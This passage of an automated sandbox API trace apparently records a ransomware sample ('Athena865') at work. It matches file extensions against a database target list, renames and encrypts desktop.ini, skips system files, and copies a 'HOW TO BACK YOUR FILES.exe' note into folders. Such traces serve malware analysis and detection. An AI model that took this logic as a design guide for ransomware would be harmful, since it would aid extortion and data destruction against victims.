lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0102.000] lstrlenW (lpString="avhd") returned 4 [0102.000] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0102.000] lstrlenW (lpString="db") returned 2 [0102.000] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0102.000] lstrlenW (lpString="db2") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0102.000] lstrlenW (lpString="db3") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0102.000] lstrlenW (lpString="dbf") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0102.000] lstrlenW (lpString="mdf") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0102.000] lstrlenW (lpString="mdb") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0102.000] lstrlenW (lpString="sql") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0102.000] lstrlenW (lpString="sqlite") returned 6 [0102.001] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0102.001] lstrlenW (lpString="sqlite3") returned 7 [0102.001] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0102.001] lstrlenW (lpString="sqlitedb") returned 8 [0102.001] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0102.001] lstrlenW (lpString="xml") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0102.001] lstrlenW (lpString="$er") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0102.001] lstrlenW (lpString="4dd") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0102.001] lstrlenW (lpString="4dl") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0102.001] lstrlenW (lpString="^^^") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0102.001] lstrlenW (lpString="abs") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0102.001] lstrlenW (lpString="abx") returned 3 [0102.001] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0102.001] lstrlenW (lpString="accdb") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0102.001] lstrlenW (lpString="accdc") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0102.001] lstrlenW (lpString="accde") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0102.001] lstrlenW (lpString="accdr") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0102.001] lstrlenW (lpString="accdt") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0102.001] lstrlenW (lpString="accdw") returned 5 [0102.001] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0102.001] lstrlenW (lpString="accft") returned 5 [0102.002] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0102.002] lstrlenW (lpString="adb") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.002] lstrlenW (lpString="adb") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.002] lstrlenW (lpString="ade") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0102.002] lstrlenW (lpString="adf") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0102.002] lstrlenW (lpString="adn") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0102.002] lstrlenW (lpString="adp") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0102.002] lstrlenW (lpString="alf") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0102.002] lstrlenW (lpString="ask") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0102.002] lstrlenW (lpString="btr") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0102.002] lstrlenW (lpString="cat") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0102.002] lstrlenW (lpString="cdb") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0102.002] lstrlenW (lpString="ckp") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0102.002] lstrlenW (lpString="cma") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0102.002] lstrlenW (lpString="cpd") returned 3 [0102.002] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0102.002] lstrlenW (lpString="dacpac") returned 6 [0102.002] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0102.002] lstrlenW (lpString="dad") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0102.003] lstrlenW (lpString="dadiagrams") returned 10 [0102.003] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0102.003] lstrlenW (lpString="daschema") returned 8 [0102.003] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0102.003] lstrlenW (lpString="db-journal") returned 10 [0102.003] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0102.003] lstrlenW (lpString="db-shm") returned 6 [0102.003] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0102.003] lstrlenW (lpString="db-wal") returned 6 [0102.003] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0102.003] lstrlenW (lpString="dbc") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0102.003] lstrlenW (lpString="dbs") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0102.003] lstrlenW (lpString="dbt") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0102.003] lstrlenW (lpString="dbv") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0102.003] lstrlenW (lpString="dbx") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0102.003] lstrlenW (lpString="dcb") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0102.003] lstrlenW (lpString="dct") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0102.003] lstrlenW (lpString="dcx") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0102.003] lstrlenW (lpString="ddl") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0102.003] lstrlenW (lpString="dlis") returned 4 [0102.003] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0102.003] lstrlenW (lpString="dp1") returned 3 [0102.003] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0102.004] lstrlenW (lpString="dqy") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0102.004] lstrlenW (lpString="dsk") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0102.004] lstrlenW (lpString="dsn") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0102.004] lstrlenW (lpString="dtsx") returned 4 [0102.004] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0102.004] lstrlenW (lpString="dxl") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0102.004] lstrlenW (lpString="eco") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0102.004] lstrlenW (lpString="ecx") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0102.004] lstrlenW (lpString="edb") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0102.004] lstrlenW (lpString="epim") returned 4 [0102.004] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0102.004] lstrlenW (lpString="fcd") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0102.004] lstrlenW (lpString="fdb") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0102.004] lstrlenW (lpString="fic") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0102.004] lstrlenW (lpString="flexolibrary") returned 12 [0102.004] lstrlenW (lpString="fm5") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0102.004] lstrlenW (lpString="fmp") returned 3 [0102.004] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0102.004] lstrlenW (lpString="fmp12") returned 5 [0102.004] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0102.004] lstrlenW (lpString="fmpsl") returned 5 [0102.004] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0102.004] lstrlenW (lpString="fol") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0102.005] lstrlenW (lpString="fp3") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0102.005] lstrlenW (lpString="fp4") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0102.005] lstrlenW (lpString="fp5") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0102.005] lstrlenW (lpString="fp7") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0102.005] lstrlenW (lpString="fpt") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0102.005] lstrlenW (lpString="frm") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0102.005] lstrlenW (lpString="gdb") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.005] lstrlenW (lpString="gdb") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.005] lstrlenW (lpString="grdb") returned 4 [0102.005] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0102.005] lstrlenW (lpString="gwi") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0102.005] lstrlenW (lpString="hdb") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0102.005] lstrlenW (lpString="his") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0102.005] lstrlenW (lpString="ib") returned 2 [0102.005] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0102.005] lstrlenW (lpString="idb") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0102.005] lstrlenW (lpString="ihx") returned 3 [0102.005] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0102.005] lstrlenW (lpString="itdb") returned 4 [0102.005] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0102.005] lstrlenW (lpString="itw") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0102.006] lstrlenW (lpString="jet") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0102.006] lstrlenW (lpString="jtx") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0102.006] lstrlenW (lpString="kdb") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0102.006] lstrlenW (lpString="kexi") returned 4 [0102.006] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0102.006] lstrlenW (lpString="kexic") returned 5 [0102.006] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0102.006] lstrlenW (lpString="kexis") returned 5 [0102.006] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0102.006] lstrlenW (lpString="lgc") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0102.006] lstrlenW (lpString="lwx") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0102.006] lstrlenW (lpString="maf") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0102.006] lstrlenW (lpString="maq") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0102.006] lstrlenW (lpString="mar") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0102.006] lstrlenW (lpString="marshal") returned 7 [0102.006] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0102.006] lstrlenW (lpString="mas") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0102.006] lstrlenW (lpString="mav") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0102.006] lstrlenW (lpString="maw") returned 3 [0102.006] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0102.006] lstrlenW (lpString="mdbhtml") returned 7 [0102.006] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0102.007] lstrlenW (lpString="mdn") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0102.007] lstrlenW (lpString="mdt") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0102.007] lstrlenW (lpString="mfd") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0102.007] lstrlenW (lpString="mpd") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0102.007] lstrlenW (lpString="mrg") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0102.007] lstrlenW (lpString="mud") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0102.007] lstrlenW (lpString="mwb") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0102.007] lstrlenW (lpString="myd") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0102.007] lstrlenW (lpString="ndf") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0102.007] lstrlenW (lpString="nnt") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0102.007] lstrlenW (lpString="nrmlib") returned 6 [0102.007] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0102.007] lstrlenW (lpString="ns2") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0102.007] lstrlenW (lpString="ns3") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0102.007] lstrlenW (lpString="ns4") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0102.007] lstrlenW (lpString="nsf") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0102.007] lstrlenW (lpString="nv") returned 2 [0102.007] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0102.007] lstrlenW (lpString="nv2") returned 3 [0102.007] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0102.008] lstrlenW (lpString="nwdb") returned 4 [0102.008] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0102.008] lstrlenW (lpString="nyf") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0102.008] lstrlenW (lpString="odb") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.008] lstrlenW (lpString="odb") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.008] lstrlenW (lpString="oqy") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0102.008] lstrlenW (lpString="ora") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0102.008] lstrlenW (lpString="orx") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0102.008] lstrlenW (lpString="owc") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0102.008] lstrlenW (lpString="p96") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0102.008] lstrlenW (lpString="p97") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0102.008] lstrlenW (lpString="pan") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0102.008] lstrlenW (lpString="pdb") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0102.008] lstrlenW (lpString="pdm") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0102.008] lstrlenW (lpString="pnz") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0102.008] lstrlenW (lpString="qry") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0102.008] lstrlenW (lpString="qvd") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0102.008] lstrlenW (lpString="rbf") returned 3 [0102.008] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0102.009] lstrlenW (lpString="rctd") returned 4 [0102.009] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0102.009] lstrlenW (lpString="rod") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0102.009] lstrlenW (lpString="rodx") returned 4 [0102.009] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0102.009] lstrlenW (lpString="rpd") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0102.009] lstrlenW (lpString="rsd") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0102.009] lstrlenW (lpString="sas7bdat") returned 8 [0102.009] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0102.009] lstrlenW (lpString="sbf") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0102.009] lstrlenW (lpString="scx") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0102.009] lstrlenW (lpString="sdb") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0102.009] lstrlenW (lpString="sdc") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0102.009] lstrlenW (lpString="sdf") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0102.009] lstrlenW (lpString="sis") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0102.009] lstrlenW (lpString="spq") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0102.009] lstrlenW (lpString="te") returned 2 [0102.009] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0102.009] lstrlenW (lpString="teacher") returned 7 [0102.009] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0102.009] lstrlenW (lpString="tmd") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0102.009] lstrlenW (lpString="tps") returned 3 [0102.009] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0102.010] lstrlenW (lpString="trc") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.010] lstrlenW (lpString="trc") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.010] lstrlenW (lpString="trm") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0102.010] lstrlenW (lpString="udb") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0102.010] lstrlenW (lpString="udl") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0102.010] lstrlenW (lpString="usr") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0102.010] lstrlenW (lpString="v12") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0102.010] lstrlenW (lpString="vis") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0102.010] lstrlenW (lpString="vpd") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0102.010] lstrlenW (lpString="vvv") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0102.010] lstrlenW (lpString="wdb") returned 3 [0102.010] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0102.010] lstrlenW (lpString="wmdb") returned 4 [0102.010] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0102.010] lstrlenW (lpString="wrk") returned 3 [0102.011] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0102.011] lstrlenW (lpString="xdb") returned 3 [0102.011] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0102.012] lstrlenW (lpString="xld") returned 3 [0102.013] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0102.013] lstrlenW (lpString="xmlff") returned 5 [0102.013] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0102.013] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\desktop.ini.Athena865") returned 91 [0102.013] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0102.014] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=145) returned 1 [0102.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.015] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.016] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.016] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.016] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a0, lpName=0x0) returned 0x154 [0102.017] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a0) returned 0x100000 [0102.017] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.017] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.017] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0102.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0102.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.018] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.018] CloseHandle (hObject=0x154) returned 1 [0102.018] CloseHandle (hObject=0x17c) returned 1 [0102.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.020] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xadff3920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xadff3920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2=".") returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="..") returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="windows") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="bootmgr") returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="temp") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="pagefile.sys") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="boot") returned 1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="ids.txt") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="ntuser.dat") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="perflogs") returned -1 [0102.020] lstrcmpiW (lpString1="History.IE5", lpString2="MSBuild") returned -1 [0102.020] lstrlenW (lpString="History.IE5") returned 11 [0102.020] lstrcpyW (in: lpString1=0x241e8d4, lpString2="History.IE5" | out: lpString1="History.IE5") returned="History.IE5" [0102.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b768 [0102.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa4) returned 0x512ae8 [0102.020] lstrcatW (in: lpString1="History.IE5", lpString2="\\" | out: lpString1="History.IE5\\") returned="History.IE5\\" [0102.020] lstrcatW (in: lpString1="History.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History.IE5\\HOW TO BACK YOUR FILES.exe") returned="History.IE5\\HOW TO BACK YOUR FILES.exe" [0102.020] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\History.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\history.ie5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.023] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61f3000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61f3000, 